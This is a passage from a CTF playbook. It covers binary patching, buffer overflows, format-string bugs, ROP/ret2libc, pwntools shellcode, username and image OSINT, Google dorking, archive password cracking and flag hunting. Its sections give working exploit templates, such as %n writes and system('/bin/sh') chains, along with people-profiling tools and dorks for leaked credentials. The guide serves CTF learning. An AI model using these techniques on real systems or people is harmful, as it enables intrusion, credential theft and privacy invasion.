`wa jmp 0x401250  (inside r2, write assembly)`	Writes a new instruction directly at the current address — e.g. forcing an unconditional jump to the success branch.
`gdb: set {char}0x401234 = 0x90  (patch a single byte to NOP, 0x90)`	Live-patches a single byte in memory during a debugging session — good for testing a patch idea before making it permanent.
`objcopy / a hex editor (bless, ghex)`	Alternative manual approach: directly edit the raw bytes at a known file offset (not runtime address) to make a persistent patch on disk.
`chmod +x patched_binary && ./patched_binary`	After patching, always re-test the modified binary directly to confirm the new behavior works as intended.

Resources & wordlists

- radare2 book (book.rada.re) — free, thorough reference for r2's patching/analysis commands
- Ghidra's built-in Patch Instruction feature (right-click in Listing view) for GUI-based patching

Pro tips

- Always work on a COPY of the binary — patching is destructive to the file on disk
- Flipping JE ↔ JNE (opcode 0x74 ↔ 0x75) or JZ ↔ JNZ is the single most common 'make it always succeed' patch in CTF RE challenges
- If a patch doesn't behave as expected, double check you're patching the FILE OFFSET, not the runtime virtual address (they differ due to section loading) when editing on disk rather than live in a debugger

Next step

Patched binary now succeeds/reveals the flag directly → run it and read the output → if the real goal was to find the flag STRING (not just bypass a check), go back to Static Analysis and search near the comparison for the actual expected value instead of just bypassing it.

20 Checksec & Buffer Overflow Basics

Binary Exploitation | Stack canaries, NX, PIE — and the classic smash

Analogy

A buffer overflow is pouring more water into a cup than it can hold, so it spills over onto the counter next to it — and if that counter happens to hold the instructions for 'what to do next' (the return address), you've just rewritten the program's next move by overflowing a cup.

What it is

A program reads input into a fixed-size buffer without checking its length. Writing more than the buffer's size overwrites adjacent memory — including, on the stack, the saved return address — letting an attacker redirect execution. checksec tells you which of the standard mitigations are enabled, which decides which technique applies.

How to recognize it

Setup: `sudo apt install gdb && pip install pwntools # checksec: pip install checksec.py or use pwntools' built-in checksec`

- Binary uses gets(), strcpy(), or a fixed-size read with no bounds checking (visible in Ghidra/objdump)
- Challenge category is 'pwn' or 'binary exploitation' and you're given a binary + a remote host:port to connect to
- Program crashes (segfault) when you send a very long input

Key indicators

Signal / Indicator	What it means
`Canary: disabled`	Straightforward stack buffer overflow — no stack-corruption detection to bypass
`Canary: enabled`	Must either leak the canary value first, or find a way around it (e.g. overwrite a variable instead of the return address)
`NX: disabled`	Stack IS executable — classic shellcode-on-the-stack approach works

Signal / Indicator	What it means
`NX: enabled`	Can't execute stack shellcode directly — need ROP or ret2libc instead (see the ROP page)
`PIE: enabled`	Binary's own addresses are randomized each run — need an info leak to defeat this, or exploit before relying on fixed addresses
`PIE: disabled`	Binary's addresses are fixed/known — much simpler to hardcode addresses in your exploit

Commands & tools explained

Command	What it does / result
`checksec --file=./challenge`	Reports Canary/NX/PIE/RELRO status in one command — always run this before planning any pwn exploit.
`gdb ./challenge`	Loads the binary for interactive debugging — pair with pwndbg/gef for a CTF-friendly view.
`python3 -c "print('A'*100)" | ./challenge`	Quick crash test — sends 100 bytes of 'A' to see if/where the program crashes, a first signal that overflow is possible.
`cyclic 200  (pwntools/gdb-peda utility)`	Generates a unique 200-byte pattern so that, after a crash, you can identify the EXACT offset where the return address was overwritten.
`cyclic -l 0x61616161  (pwntools)`	Given the value found in a crashed register/return address, tells you the exact byte offset in your input pattern that landed there — critical for building a precise exploit.
`from pwn import *; p = process('./challenge'); p.sendline(b'A'*40 + p64(0xdeadbeef)); p.interactive()`	Pwntools template: sends a crafted payload (padding + a fake return address) and drops into an interactive shell if successful.
`objdump -d challenge | grep win`	Looks for a conveniently-named 'win()' function the challenge author left in — if found, your goal is simply to redirect execution there.

Resources & wordlists

- pwntools documentation (docs.pwntools.com) — the standard Python exploitation framework, learn cyclic/p64/ROP helpers here
- pwn.college / ROP Emporium (ropemporium.com) — free, structured practice binaries specifically for learning this progression

Pro tips

- ALWAYS run checksec first — it decides your entire strategy (shellcode vs ROP vs ret2libc vs canary leak)
- Use pwntools' cyclic pattern instead of guessing 'AAAA...' by hand — it tells you the EXACT overflow offset in seconds
- Look for a 'win' function with objdump/Ghidra before building a complex exploit — many easier pwn challenges just need you to jump straight to a function that's already there

Next step

Offset found + no canary/PIE → overwrite return address with a target function's address (win()) or shellcode's address → NX enabled → move to the ROP & ret2libc page instead of trying to execute stack shellcode directly.

21 Format String Vulnerabilities

Binary Exploitation | printf(user_input) — reading and writing arbitrary memory

Analogy

A format string bug is handing a photocopier operator a piece of paper that says 'print page %s' where %s is YOUR text — if your text itself contains more format codes like %x %x %x, the operator (printf) obediently keeps reading and printing whatever happens to be sitting on nearby shelves (the stack), leaking secrets you were never supposed to see.

What it is

A program passes user-controlled input directly as the FORMAT string to printf()/fprintf() (e.g. printf(user_input) instead of the correct printf("%s", user_input)). This lets you leak stack memory using %x/%p, read arbitrary memory using %s, and even WRITE arbitrary memory using %n.

How to recognize it

Setup: `pip install pwntools`

- Ghidra/objdump shows printf(buffer) with no format string literal — buffer comes directly from user input
- Program's output includes strange hex-looking values when you input something like %x%x%x%x
- Challenge hints mention 'format string' explicitly, or 'leak' something

Key indicators

Signal / Indicator	What it means
`%x in your input causes hex numbers to appear in output`	Confirms a format string vulnerability — those hex numbers are raw stack values being leaked
`%s in your input causes a crash or prints readable text`	%s dereferences a stack value AS A POINTER and prints the string there — powerful for leaking specific memory, but crashes on invalid pointers
`%n crashes or the program says it's disabled`	%n WRITES the number of characters printed so far to a pointer — the classic (and most dangerous) format string primitive, often disabled in modern libc by default
`You need to find which %N$x position reaches YOUR input`	Numbered format specifiers like %7$x let you target a specific stack position directly instead of counting through with repeated %x

Commands & tools explained

Command	What it does / result
`python3 -c "print('%x '*20)" | ./challenge`	Sends 20 %x specifiers to dump 20 stack values as hex — the standard first probe for a format string bug.
`python3 -c "print('%7\$x')" | ./challenge`	Directly reads the 7th stack argument position — use this once you've found which position corresponds to your own input via the previous test.
`python3 -c "print('AAAA %x %x %x %x %x %x')" | ./challenge`	Sends a known marker ('AAAA' = 0x41414141) plus several %x to find exactly which position echoes your marker back, confirming the offset.
`from pwn import *; payload = fmtstr_payload(offset, {target_addr: value})`	Pwntools' built-in helper automatically builds a correct %n-based write payload once you know the stack offset and target address/value — far easier than hand-crafting it.
`python3 -c "print('%s')" | ./challenge`	Attempts to leak a string at whatever address happens to be at the current stack position — useful once you've aimed a specific pointer there.

Resources & wordlists

- pwntools fmtstr documentation — covers fmtstr_payload() in depth with worked examples
- exploit-db and CTF write-ups searching 'format string exploit' for real worked examples

Pro tips

- Start simple: send a handful of %x and see if hex garbage appears — that alone confirms the vulnerability class before you build anything complex
- Use a unique marker value (like 'AAAA') combined with %x scanning to precisely find YOUR input's offset on the stack — guessing wastes time
- Let pwntools' fmtstr_payload() build the final %n write payload — hand-crafting correct %n payloads is notoriously fiddly with padding/width calculations

Next step

Leaked a stack/libc address → use it to defeat ASLR/PIE for a further exploit (ROP/ret2libc) → wrote to a target variable (like 'authenticated') → re-run the program's normal flow, which should now treat you as authenticated/successful.

22 ROP & ret2libc

Binary Exploitation | Chaining gadgets when the stack isn't executable (NX)

Analogy

If NX makes the stack non-executable, you can't drop your own tool (shellcode) on the counter and use it — but the building is FULL of existing tools bolted to the walls (small snippets of the program's own code, called 'gadgets'). ROP is chaining together several of those existing wall-tools, one after another, to accomplish something the building's architect never intended.

What it is

With NX enabled, you can't jump to injected shellcode on the stack. Instead, Return-Oriented Programming chains together small existing code snippets ('gadgets', each ending in a `ret`) already present in the binary/libc to build arbitrary functionality — most commonly, calling system("/bin/sh") using libc functions already loaded in memory (ret2libc).

How to recognize it

Setup: `pip install pwntools ropgadget # or: sudo apt install ropgadget`

- checksec shows NX: enabled — stack shellcode is off the table
- No 'win' function exists in the binary, so you must build functionality from scratch using gadgets
- You have a working buffer overflow (offset known) but need a more sophisticated payload than a simple return-address overwrite

Key indicators

Signal / Indicator	What it means
`PIE disabled, static libc version known`	Straightforward ret2libc — find system()/'/bin/sh' addresses directly, no leak needed
`PIE or ASLR enabled`	Need an information leak FIRST (format string or partial overwrite) to calculate real addresses at runtime
`No obviously useful gadgets found`	Check libc gadgets too, not just the binary itself — libc always has a rich gadget set (especially pop rdi; ret)
`64-bit binary`	Arguments are passed in registers (rdi, rsi, rdx) — you need a `pop rdi; ret` gadget to set up the first argument before calling a function

Commands & tools explained

Command	What it does / result
`ROPgadget --binary ./challenge | grep 'pop rdi'`	Searches the binary for a 'pop rdi; ret' gadget — the essential building block for setting up a function's first argument on x86-64.
`ROPgadget --binary ./challenge --string '/bin/sh'`	Checks if the literal string '/bin/sh' already exists somewhere in the binary — saves you from needing to write it yourself.
`readelf -d ./challenge | grep NEEDED`	Confirms which libc/libraries the binary links against, needed to find matching offsets for system()/binsh.
`from pwn import *; libc = ELF('libc.so.6'); print(hex(libc.symbols['system']))`	Pwntools: once you know the libc base address (via a leak or because ASLR is off), calculates the exact address of system() within it.
`one_gadget libc.so.6`	A specialized tool that finds single 'magic' addresses in libc which alone spawn a shell (no chain needed) if their extra constraints happen to be satisfied — worth checking before building a full chain.
`from pwn import *; rop = ROP('./challenge'); rop.call('system', [next(libc.search(b'/bin/sh'))]); print(rop.chain())`	Pwntools' ROP class automates finding gadgets and building the entire call chain for you — the practical way most CTF players actually build ROP chains.

Resources & wordlists

- ROP Emporium (ropemporium.com) — free structured binaries that teach ROP step by step, in increasing difficulty
- pwntools ROP documentation and 'one_gadget' tool (github.com/david942j/one_gadget)

Pro tips

- Let pwntools' ROP() class and one_gadget do the heavy lifting — manually chaining gadgets by hand is rarely necessary anymore and very error-prone
- If PIE/ASLR is on, you MUST leak an address first (format string, partial overwrite, or an info-leak the binary provides) before any ROP chain will work reliably
- Always double-check the target libc VERSION matches what the remote server actually uses — local offsets often differ from remote, use the provided libc file if one is given

Next step

ROP chain executes system('/bin/sh') successfully → you now have a shell on the remote server → run `cat flag.txt` or `ls` to locate and read the flag file directly.

23 Pwntools Workflow & Shellcode

Binary Exploitation | process(), remote(), sendline(), shellcraft — putting it together

Analogy

Pwntools is a universal remote control for exploit development: instead of manually typing input by hand and squinting at raw bytes, you write a script once that talks to the local binary OR the remote CTF server exactly the same way, and it handles all the tedious packing/unpacking of addresses for you.

What it is

pwntools is the standard Python library for writing exploits in CTF pwn challenges: connecting to processes (local or remote), sending crafted payloads, packing addresses correctly for the target architecture, and even generating ready-made shellcode.

How to recognize it

Setup: `pip install pwntools`

- You've done manual testing with echo/python one-liners and now need a repeatable, precise exploit script
- Challenge gives you a remote host:port to connect to (`nc host port`) rather than just a local binary
- You need correctly-packed addresses (little-endian, right byte width) rather than error-prone manual hex string building

Key indicators

Signal / Indicator	What it means
`Local testing needed`	Use process('./challenge') to interact with a local copy exactly like you will the remote server
`Remote CTF server given`	Use remote('host', port) — same .sendline()/.recv() API as process(), so your exploit logic doesn't change

Signal / Indicator	What it means
`64-bit target`	Use p64(address) to correctly pack an 8-byte little-endian address; use p32() for 32-bit targets
`Need raw shellcode`	pwntools' shellcraft module generates working shellcode for your target architecture without hand-writing assembly

Commands & tools explained

Command	What it does / result
`from pwn import *`	Standard import — brings in process/remote/p32/p64/cyclic/ROP/shellcraft, everything needed for a pwn exploit script.
`p = process('./challenge')`	Starts the local binary as a subprocess you can interact with programmatically.
`p = remote('ctf.example.com', 1337)`	Connects to a remote CTF server the exact same way `nc ctf.example.com 1337` would, but scriptable.
`p.sendline(b'A'*40 + p64(0xdeadbeef))`	Sends a crafted payload: 40 bytes of padding followed by a correctly little-endian-packed 8-byte address.
`p.recvuntil(b'address: ')  ;  leak = int(p.recvline(), 16)`	Reads output up to a known marker, then parses a leaked address printed by the program — the standard pattern for using an info leak.
`shellcode = asm(shellcraft.sh())`	Generates ready-to-use x86/x64 shellcode that spawns a shell, without writing raw assembly by hand.
`p.interactive()`	Hands control of the connection to you directly in the terminal — use this once your exploit succeeds and you have a shell, so you can type commands like `cat flag.txt` normally.

Resources & wordlists

- docs.pwntools.com — the complete official documentation with copy-paste examples for every function used above
- CTF write-ups on GitHub (search 'pwntools exploit') for real full-script examples across many challenge styles

Pro tips

- Write and fully test your exploit against the LOCAL binary with process() before ever pointing it at remote() — debugging is far easier locally, and you save your limited remote connection attempts
- Always call p.interactive() as your final step after a successful exploit — this is how you actually get to type `cat flag.txt` and read the result
- Keep a personal template script with the import, process/remote toggle, and cyclic/p64 boilerplate ready to copy for every new pwn challenge — don't rebuild it from scratch each time

Next step

p.interactive() drops you into a shell → run `ls` then `cat flag*` to find and read the flag file → if no shell, but data was leaked/printed → parse it from p.recvline() and use it in your next stage or submit it directly.

24 Username & Social Media Recon

OSINT | Sherlock, cross-platform pivoting, forum/profile digging

Analogy

OSINT username recon is like knowing someone's favorite nickname and then checking every club in town to see if a member signed in under that same nickname — people reuse handles far more than they realize, and each hit is a new door into their life.

What it is

Given a username, email, or handle, the goal is to find every platform/account associated with it, then follow the trail — a bio, a linked account, an old post — until it leads to the flag (often a hidden detail in a profile, post, or linked repository).

How to recognize it

Setup: `pip install sherlock-project # or: git clone https://github.com/sherlock-project/sherlock`

- Challenge gives you a username/handle and asks 'who is this' or 'find their X'
- Challenge provides an email address and wants an associated account/platform found
- You've found one account and need to pivot to related ones (same avatar, same bio text, linked website)

Key indicators

Signal / Indicator	What it means
`Just a username given`	Run Sherlock immediately — it checks 300+ sites in one go
`An email given`	Try Holehe (checks which platforms an email is registered on) and reverse-search it directly on Google/DuckDuckGo

Signal / Indicator	What it means
`One account found, need more`	Check bio links, pinned posts, and reuse the SAME profile picture in a reverse image search to find linked accounts
`Old/deleted content suspected`	Check the Wayback Machine (web.archive.org) for cached versions of the profile/page

Commands & tools explained

Command	What it does / result
`sherlock username`	Checks a single username across 300+ social platforms simultaneously and reports every site where an account exists.
`holehe email@example.com`	Checks which online services an email address is registered with (works via password-reset/signup response differences).
`site:twitter.com "username"  (Google dork)`	Searches specifically within one platform for mentions of a username, useful when Sherlock finds nothing but the account might still exist.
`Reverse image search the profile picture (Google Images / Yandex / TinEye)`	Finds the SAME picture used elsewhere, often revealing a linked account under a different username.
`web.archive.org/web/*/profile_url`	Checks the Wayback Machine for historical snapshots of a profile page — reveals deleted bios/posts.
`whois domain.com  (if a personal site/blog is found)`	Reveals registrant details (sometimes redacted, sometimes not) for any personal domain linked from a profile.
`exiftool downloaded_photo.jpg`	Checks a downloaded profile/post photo for EXIF metadata — GPS coordinates or device info occasionally survive upload.

Resources & wordlists

- Sherlock's site list (300+ platforms) — the core tool for this whole category
- OSINT Framework (osintframework.com) — a curated map of tools organized by data type (username, email, image, etc.)

Pro tips

- Run Sherlock FIRST on any username — it's fast, free and covers more ground in 30 seconds than manual checking would in an hour
- Reverse image search the SAME photo across multiple accounts to connect identities that don't share a username
- Always check the Wayback Machine — CTF authors sometimes plant the flag in a page/profile version that was later 'deleted'

Next step

Linked account/profile found → read every bio, pinned post and comment carefully → flag or next clue is usually hidden in plain sight in profile text, a photo caption, or a linked repository's README.

25 Image, Metadata & Geolocation OSINT

OSINT | EXIF data, GeoGuessr-style geolocation, reverse image search

Analogy

A photograph carries hidden travel documents stapled to its back: camera model, exact time taken, and sometimes even GPS coordinates — and even with those stapled papers removed, the visible scenery itself (road signs, plant life, architecture style) is like a set of clues a skilled detective can use to pinpoint the same location on a map.

What it is

Given an image, extract embedded metadata first (fastest path), and if that's stripped, visually analyze the image itself for geolocation clues (signage language, vegetation, architecture, sun angle, license plates) — a genre often called 'GeoGuessr-style' OSINT.

How to recognize it

Setup: `sudo apt install exiftool`

- Challenge gives a photo and asks 'where was this taken' or 'who/what is this'
- exiftool shows GPS coordinates directly — the fastest possible win
- No metadata present, but the image shows outdoor scenery, signage, or identifiable landmarks

Key indicators

Signal / Indicator	What it means
`GPS coordinates present in metadata`	Instant win — plug directly into Google Maps
`Metadata stripped (common after social media upload)`	Fall back to visual analysis — signage text/language, road markings, architecture style, vegetation

Signal / Indicator	What it means
`Readable text/signage in the image`	Reverse-search distinctive text or translate it to narrow down the country/region
`A specific building/landmark visible`	Reverse image search the image itself — Google Lens/Yandex often identifies famous or even semi-obscure landmarks directly

Commands & tools explained

Command	What it does / result
`exiftool photo.jpg`	Check for GPS latitude/longitude, camera model, and timestamp — always the very first step.
`exiftool -gpslatitude -gpslongitude photo.jpg`	Extracts just the GPS fields directly if present, ready to paste into a maps service.
`Google Lens / Yandex Images / TinEye (reverse image search)`	Upload or paste the image URL — often identifies landmarks, exact locations, or the image's original source page.
`Google Maps + Street View, manual comparison`	Once a country/region/city is narrowed down from visual clues, manually compare Street View imagery to the photo's background details.
`Translate visible signage text (Google Translate camera mode or manual lookup)`	Identifies the language/country, narrowing location search dramatically.
`SunCalc.org, given date/time metadata + shadow direction`	Estimates likely latitude/season from sun position if timestamp is known but location isn't.

Resources & wordlists

- Yandex Images — often outperforms Google for landmark/location reverse image search specifically
- GeoGuessr community resources/blogs for learning visual geolocation clue-spotting (road markings, utility poles, license plate styles by country)

Pro tips

- Always check EXIF metadata before doing any visual analysis — it's the fastest possible path and costs 5 seconds
- Yandex's reverse image search is frequently better than Google's for identifying real-world locations/landmarks specifically
- Look at small details: road line colors/styles, plug socket types visible in photos, license plate formats, and writing systems — these narrow down country fast

Next step

Coordinates/location found → this may BE the flag (submit as lat,long) or a clue pointing to the next stage → landmark identified → research its name/history for a text-based flag component.

26 Google Dorking & Wayback Machine

OSINT | Advanced search operators, cached/deleted content recovery

Analogy

Google dorking is knowing the library's secret catalog codes that let you search not just book titles, but the exact page number where a specific sentence appears, inside only books published by one specific publisher, last month. The Wayback Machine is that same library's dusty archive room holding every previous edition of every book, including ones the author tried to pull from shelves.

What it is

Using advanced search engine operators to find specific, narrowly-scoped content (files, subdomains, specific text) that normal searching would never surface, and using web.archive.org to retrieve content that has since been deleted or changed — both are pure OSINT/recon techniques usable across almost every CTF category.

How to recognize it

Setup: `No install — search engines and web.archive.org are free web tools`

- Challenge gives a domain/company name and says 'find the flag somewhere public'
- You suspect a file/page existed but is now returning 404
- Challenge hints at 'leaked', 'cached', or 'public but hard to find'

Key indicators

Signal / Indicator	What it means
`Need files of a specific type on a domain`	site:target.com filetype:pdf (or .xlsx/.txt/.sql/.env)
`Need to search only within one site`	site:target.com "specific phrase"
`Need pages containing a phrase in the title/URL`	intitle:"index of" or inurl:admin
`Page/file now returns 404 but might have existed before`	Check web.archive.org for a historical snapshot immediately
`Suspect exposed directory listings`	intitle:"index of /" site:target.com

Commands & tools explained

Command	What it does / result
`site:target.com filetype:pdf`	Finds all indexed PDF files on a specific domain — replace filetype with xlsx, sql, env, etc. as relevant.
`site:target.com intitle:"index of"`	Finds exposed directory-listing pages on the target domain — a classic sign of misconfigured web servers.
`site:pastebin.com "target.com"`	Searches Pastebin specifically for leaked content mentioning the target — common for leaked credentials/API keys.
`intext:"flag{" site:target.com`	Directly searches for the literal flag format string within the target's indexed pages.
`inurl:admin site:target.com`	Finds indexed URLs containing 'admin' on the target domain — sometimes reveals a forgotten admin panel.
`web.archive.org/web/*/target.com/*`	Browse EVERY archived snapshot of every page ever crawled under that domain — invaluable for finding deleted content.
`curl 'http://archive.org/wayback/available?url=target.com/page.html'`	API call that returns the nearest archived snapshot URL for a specific page, useful for scripting bulk checks.

Resources & wordlists

- Google Hacking Database (GHDB, exploit-db.com/google-hacking-database) — curated real-world dork examples by category
- Wayback Machine (web.archive.org) — essential for any 'this used to exist' recon

Pro tips

- Combine operators: site:target.com filetype:sql intext:password narrows results dramatically faster than any single operator alone
- Always check web.archive.org for a target domain even if the current site shows nothing interesting — CTF flags are sometimes hidden in a PAST version of a page
- DuckDuckGo and Bing sometimes index content Google has since removed/deprioritized — cross-check across engines if Google comes up empty

Next step

Indexed file/leaked content found → download and search it for the flag directly → archived page found with different content than today's live version → that difference is very likely the clue/flag itself.

27 Esoteric Encodings & Unusual Formats

Miscellaneous | QR codes, Morse, Braille, Brainfuck, flags spelled in emoji

Analogy

Misc challenges are the CTF author's playground for creativity — instead of a standard lock, you might find a puzzle box, a combination written in a language you've never seen, or a message that only makes sense when you tilt your head sideways. There's no single formula, only a wide checklist of 'has anyone tried THIS yet'.

What it is

A grab-bag category covering unusual encodings and representations that don't fit neatly into crypto/forensics/web: QR codes, Morse code (text form), Braille, semaphore, Brainfuck/esoteric programming languages, emoji ciphers, and other 'creative' flag hiding methods.

How to recognize it

Setup: `sudo apt install zbar-tools # for QR: pip install pyzbar pillow`

- The output/given data doesn't match any standard cipher or encoding pattern you recognize
- Challenge gives you an image of a QR code, a grid of dots (Braille), or a string of only 8 symbols (+-<>[].,)
- Category is literally named 'Misc' with a playful/unusual title
- Flag is described as being 'hidden' in something completely unexpected (a chess game, a piano sheet, a knitting pattern)

Key indicators

Signal / Indicator	What it means
`Square black/white pixelated image`	QR code — scan directly, or if corrupted, try repairing/upscaling first
`Only characters: + - < > [ ] . ,`	Brainfuck — run through an online/local interpreter directly
`Sequence of dots in 2x3 grid patterns`	Braille — map each cell pattern to its letter using a Braille reference chart

Signal / Indicator	What it means
`Only dots and dashes, or short/long beep descriptions`	Morse code — decode letter by letter using a reference chart or online tool
`Flag characters replaced with emoji consistently`	Look for a 1:1 emoji-to-letter mapping pattern, sometimes given as a hint elsewhere in the challenge
`A musical score / sheet music given`	Notes may map to letters (A-G repeating) — transcribe and decode

Commands & tools explained

Command	What it does / result
`zbarimg qrcode.png`	Scans and decodes a QR code image directly from the command line.
`If QR looks corrupted/incomplete: open in GIMP and manually fix broken squares before re-scanning`	QR codes have built-in error correction — even a partially damaged code can scan successfully after minor cleanup, or by increasing image contrast/resolution.
`Brainfuck online interpreter (e.g. copy.sh/brainfuck) or: pip install brainfuck && brainfuck script.bf`	Runs Brainfuck esoteric-language code directly to see its output, which is often the flag.
`Morse decoder (morsecode.world) or manual reference: .- = A, -... = B, etc.`	Decodes dot-dash sequences into letters directly.
`Braille reference chart (search 'braille alphabet chart'), map each raised-dot pattern by hand or with an OCR tool`	Converts Braille dot patterns into standard letters.
`CyberChef 'From Morse Code' / 'From Braille' operations`	Automates decoding for several esoteric formats directly within one tool, avoiding manual chart lookups.

Resources & wordlists

- CyberChef — has built-in operations for Morse, Braille, Base-anything, and dozens of esoteric encodings in one place
- dcode.fr — covers an enormous range of unusual/rare cipher and encoding types with auto-solvers
- esolangs.org — reference wiki for identifying and understanding unusual esoteric programming languages if code-like symbols appear

Pro tips

- When you don't recognize a format at all, paste a sample into dcode.fr's cipher identifier or CyberChef's Magic wand — both attempt auto-identification across huge libraries of formats
- Misc challenges reward lateral thinking — if standard tools find nothing, reconsider the actual MEDIUM (is this really text, or a sound, an image, a schedule, a game state?)
- Keep a personal reference list of 'weird encodings seen before' — misc categories reuse the same handful of creative tricks across many different CTFs

Next step

Decoded to readable text → check directly for the flag format → still unclear → re-examine the challenge description/files for an overlooked hint about the exact encoding scheme used.

28 Archive & Zip Cracking

Miscellaneous | zip2john, fcrackzip, 7z password recovery, nested archives

Analogy

A password-protected zip is a locked briefcase — you can't see inside without the combination, but you CAN test thousands of possible combinations automatically far faster than any human could spin the dial by hand.

What it is

A password-protected .zip/.rar/.7z file (or a chain of nested archives) that needs its password cracked, either via a wordlist, brute-force, or a known-plaintext attack if you have an unencrypted copy of one file inside.

How to recognize it

Setup: `sudo apt install john p7zip-full # fcrackzip: sudo apt install fcrackzip`

- File is a .zip/.rar/.7z that prompts for a password when opened
- Challenge gives hints about password length/composition ('numeric only', 'a common word plus numbers')
- Extracting one archive reveals ANOTHER password-protected archive inside — a common CTF 'nesting doll' trick

Key indicators

Signal / Indicator	What it means
`Standard ZIP encryption`	zip2john extracts a crackable hash for John/Hashcat
`7z archive`	7z2john.pl (bundled with John's jumbo version) extracts a crackable hash similarly
`RAR archive`	rar2john does the same for RAR files

Signal / Indicator	What it means
`Hint says password is short/numeric`	fcrackzip's built-in brute-force mode is faster than a full wordlist attack for short numeric passwords
`You have an unencrypted copy of ONE file that's inside the zip`	A known-plaintext attack (bkcrack) can recover the password/keys without guessing at all

Commands & tools explained

Command	What it does / result
`zip2john secret.zip > zip.hash`	Extracts a crackable hash representation from a password-protected ZIP file.
`john zip.hash --wordlist=rockyou.txt`	Cracks the extracted hash using a standard dictionary attack.
`john --show zip.hash`	Displays the cracked password once John finds it, without re-running the attack.
`fcrackzip -b -c 'a1' -l 4-6 secret.zip`	Pure brute-force attack trying all combinations of lowercase letters+digits, length 4-6 — good for short/simple passwords without needing a wordlist.
`7z2john.pl archive.7z > 7z.hash && john 7z.hash`	Same workflow as ZIP but for 7z archives (requires John's 'jumbo' build for the 7z2john script).
`rar2john archive.rar > rar.hash && john rar.hash`	Same workflow for RAR archives.
`bkcrack -C secret.zip -c known_file.txt -p known_file_plain.txt`	Known-plaintext attack: recovers the zip's internal encryption keys directly if you already have one file's exact unencrypted content — no password guessing needed at all.

Resources & wordlists

- /usr/share/wordlists/rockyou.txt for standard dictionary attacks
- fcrackzip's built-in charset brute-force for short/simple passwords (much faster than a wordlist for length ≤ 6)

Pro tips

- Try fcrackzip's brute-force mode FIRST if the password is hinted to be short — it's often faster than downloading/running a huge wordlist for simple cases
- If you have any file that MUST be inside the archive unencrypted elsewhere (e.g. a standard file every zip of this type contains), try bkcrack's known-plaintext attack — it can be instant compared to password guessing
- Always check if extracting one archive just gives you ANOTHER password-protected archive — nested 'zip within zip' chains are a common CTF trope, repeat the same process each layer

Next step

Password cracked → extract the archive normally with that password → contents found → run File Identification on whatever comes out, since it's rarely the flag in plain text immediately.

29 Flag Hunting: grep, find & Regex Tricks

Miscellaneous | The universal 'just find the string' toolkit for any file/filesystem

Analogy

No matter how a CTF author hides the treasure, at some point the flag exists somewhere as literal text — grep-ing for the flag format across everything you have is like shaking out every pocket, book, and drawer in a room at once instead of searching them one by one by hand.

What it is

A set of universal, low-effort commands that should be tried on almost EVERY challenge, regardless of category, before or alongside more specialized analysis — because CTF flags almost always follow a predictable format (e.g. flag{...}, CTF{...}, picoCTF{...}) that's trivial to grep for once you have any extracted/decoded data.

How to recognize it

Setup: `Pre-installed on any Linux system: grep, find, strings`

- You've extracted/decoded/dumped SOME data (files from a pcap, strings from a binary, files from an archive) and don't want to read it all manually
- You have access to a filesystem/shell (from a pwn/web RCE win) and need to locate the flag file quickly
- The competition's flag format is known (check the rules page) — always grep for that exact pattern first

Key indicators

Signal / Indicator	What it means
`You have one or more files to search`	grep -r for a recursive search across everything at once
`You have shell access on a remote box`	find / -iname '*flag*' 2>/dev/null locates flag files by name across the whole filesystem

Signal / Indicator	What it means
`You suspect the flag is inside a binary/unknown file type`	strings <file> | grep -iE 'flag|ctf' works even without knowing the file format
`Flag format has a known prefix (e.g. 'picoCTF{')`	grep -roE 'picoCTF\{[^}]*\}' pulls out the exact flag text automatically, wherever it appears

Commands & tools explained

Command	What it does / result
`grep -r 'flag' . 2>/dev/null`	Recursively searches every file in the current directory tree for the word 'flag' — a great catch-all first move.
`grep -roE 'flag\{[^}]*\}' . 2>/dev/null`	Uses a regex to extract the FULL flag{...} pattern directly wherever it appears, instead of just showing which files mention 'flag'.
`find / -iname '*flag*' 2>/dev/null`	On a shell you've gained access to, searches the entire filesystem by filename for anything containing 'flag' (case-insensitive).
`find / -newer /etc/hostname -type f 2>/dev/null`	Finds files modified more recently than a fixed reference file — often reveals a specially-placed flag file that stands out from the stock filesystem.
`strings -a suspicious_file | grep -iE 'flag|ctf\{'`	Extracts all strings (even from binary/unknown files) and filters for anything flag-shaped.
`cat /flag* /root/flag* /home/*/flag* 2>/dev/null`	Directly checks the most common flag file locations on a freshly-gained Linux shell.
`grep -rE '[A-Za-z0-9_]{20,}' . | grep -iE 'flag|key|secret'`	Broader regex sweep for long token-like strings combined with a keyword filter, useful when the flag format is unknown or unusual.

Resources & wordlists

- Not wordlist-dependent — this page is pure command/regex technique, applicable in every category

Pro tips

- Make grep -roE 'flag\{[^}]*\}' . your reflexive first command the MOMENT you have any extracted files or shell access — it costs nothing and wins fast, easy points constantly
- Adjust the regex prefix to match the SPECIFIC competition's flag format (picoCTF{, CTF{, FLAG:, etc.) — always check the rules/scoreboard page for the exact format first
- On a gained shell, check common locations (/flag, /root/flag.txt, /home/*/flag.txt) before doing a slow full-filesystem find

Next step

Flag text found directly → submit it immediately → only a PARTIAL match/lead found → follow that file/location manually with the category-specific techniques elsewhere in this playbook.

Real Resources, Writeups & Practice Platforms

Where to practice and learn from real solves

Resource	Why it matters
CTFtime.org	The master calendar/ranking site for almost every CTF worldwide — find upcoming events and past challenge archives here first.
picoCTF (picoctf.org / play.picoctf.org)	Free, beginner-friendly, permanently available CTF with excellent structured difficulty progression across every category — the best starting point.
OverTheWire (overthewire.org)	Wargame-style Linux/security fundamentals (Bandit, Natas) — perfect for building command-line and web basics before jeopardy CTFs.
Hack The Box (hackthebox.com) & TryHackMe	Broader offensive-security practice platforms with CTF-style rooms/challenges, from beginner to advanced.
ROP Emporium (ropemporium.com)	Free, focused binary exploitation practice specifically for learning ROP step by step.
CryptoHack (cryptohack.org)	Dedicated, gamified platform purely for learning modern + classical cryptography attacks.
GitHub topic: ctf-writeups	Search github.com/topics/ctf-writeups — thousands of real, detailed solve write-ups across every category and difficulty, the single best way to learn new tricks.
CTF write-up blogs	Look for team blogs like LiveOverflow (YouTube), pwn.college, and individual write-up sites indexed via CTFtime's 'Writeups' tab per event.
r/securityCTF and Discord CTF communities	Active communities for hints, teammates, and post-event discussion — most large CTFs have their own Discord with a #writeups channel afterward.

Master wordlist reference

Use case	Wordlist / source
Passwords (general)	/usr/share/wordlists/rockyou.txt — default first choice for nearly any password-guessing task
Passwords (fast/common)	SecLists Passwords/Common-Credentials/10k-most-common.txt
Directory/file brute-forcing	SecLists Discovery/Web-Content/raft-medium-directories.txt, dirb/common.txt
Subdomains	SecLists Discovery/DNS/subdomains-top1million-5000.txt
SQLi/XSS payloads	PayloadsAllTheThings (github.com/swisskyrepo/PayloadsAllTheThings) — the single richest payload reference repo for web
